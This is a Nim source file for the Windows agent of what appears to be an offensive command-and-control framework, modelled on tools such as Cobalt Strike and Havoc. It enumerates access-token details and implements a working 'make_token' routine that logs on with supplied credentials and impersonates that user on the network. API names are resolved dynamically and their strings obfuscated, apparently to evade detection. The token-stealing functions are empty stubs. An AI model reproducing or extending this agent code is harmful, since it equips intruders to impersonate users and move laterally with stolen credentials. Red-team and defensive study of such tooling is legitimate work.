Files
conquest/src/agent/core/token.nim

216 lines
9.3 KiB
Nim
Raw Normal View History

import winim/lean
import strformat
import ../../common/[types, utils]
#[
Token impersonation & manipulation
- https://maldevacademy.com/new/modules/57
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
- Windows System Programming Security on INE (Pavel Yosifovich)
]#
# APIs
type
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.}
const
CURRENT_THREAD = cast[HANDLE](-2)
CURRENT_PROCESS = cast[HANDLE](-1)
proc getCurrentToken*(): HANDLE =
var
status: NTSTATUS = 0
hToken: HANDLE
let hNtdll = GetModuleHandleA(protect("ntdll"))
let
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, TRUE, addr hToken)
if status != STATUS_SUCCESS:
status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex())
return hToken
proc sidToString(sid: PSID): string =
let pConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA")))
var stringSid: LPSTR
discard pConvertSidToStringSidA(sid, addr stringSid)
return $stringSid
proc sidToName(sid: PSID): string =
var
usernameSize: DWORD = 0
domainSize: DWORD = 0
sidType: SID_NAME_USE
# Retrieve required sizes
discard LookupAccountSidW(NULL, sid, NULL, addr usernameSize, NULL, addr domainSize, addr sidType)
var username = newWString(int(usernameSize) + 1)
var domain = newWString(int(domainSize) + 1)
if LookupAccountSidW(NULL, sid, username, addr usernameSize, domain, addr domainSize, addr sidType) == TRUE:
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
return ""
proc privilegeToString(luid: PLUID): string =
var privSize: DWORD = 0
# Retrieve required size
discard LookupPrivilegeNameW(NULL, luid, NULL, addr privSize)
var privName = newWString(int(privSize) + 1)
if LookupPrivilegeNameW(NULL, luid, privName, addr privSize) == TRUE:
return $privName[0 ..< int(privSize)]
return ""
#[
Retrieve and return information about an access token
]#
proc getTokenInfo*(hToken: HANDLE): string =
var
status: NTSTATUS = 0
returnLength: ULONG = 0
pStats: TOKEN_STATISTICS
pUser: PTOKEN_USER
pGroups: PTOKEN_GROUPS
pPrivileges: PTOKEN_PRIVILEGES
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
#[
Token statistics
]#
status = pNtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
let
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
tokenId = cast[uint32](pStats.TokenId).toHex()
result &= fmt"TokenID: 0x{tokenId}" & "\n"
result &= fmt"Type: {tokenType}" & "\n"
#[
Token user information
]#
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
if pUser == NULL:
raise newException(CatchableError, $GetLastError())
defer: LocalFree(cast[HLOCAL](pUser))
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
result &= fmt"User: {sidToName(pUser.User.Sid)}" & "\n"
result &= fmt"SID: {sidToString(pUser.User.Sid)}" & "\n"
#[
Groups
]#
status = pNtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
if pGroups == NULL:
raise newException(CatchableError, $GetLastError())
defer: LocalFree(cast[HLOCAL](pGroups))
status = pNtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex())
let
groupCount = pGroups.GroupCount
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
result &= fmt"Group memberships ({groupCount})" & "\n"
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
result &= fmt" - {sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
#[
Privileges
]#
status = pNtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
if pPrivileges == NULL:
raise newException(CatchableError, $GetLastError())
defer: LocalFree(cast[HLOCAL](pPrivileges))
status = pNtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
if status != STATUS_SUCCESS:
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex())
let
privCount = pPrivileges.PrivilegeCount
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
result &= fmt"Privileges ({privCount})" & "\n"
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
proc impersonateToken*(hToken: HANDLE) =
discard
#[
Create a new access token from a username, password and domain name triplet.
Using LOGON32_LOGON_NEW_CREDENTIALS creates a netonly security context (same as using runas.exe /netonly)
This means that nothing changes locally, the user returned by "getTokenOwner" is the same as the current user.
In the network, we are represented by the credentials of the user we created the token for, allowing us to inject Kerberos tickets, etc. to impersonate that user.
The LOGON32_LOGON_NEW_CREDENTIALS logon type does not validate credentials.
Using other logon types (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)
changes the output of the getTokenOwner function. The credentials are then validated by the LogonUserA function.
]#
proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_LOGON_NEW_CREDENTIALS): bool =
if username == "" or password == "" or domain == "":
return false
var
hToken: HANDLE
hImpersonationToken: HANDLE
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
return false
defer: CloseHandle(hToken)
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
return false
# Revert to self before impersonation
discard RevertToSelf()
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
CloseHandle(hImpersonationToken)
return false
return true
proc tokenSteal*(pid: int): bool =
discard
proc rev2self*(): bool =
return RevertToSelf()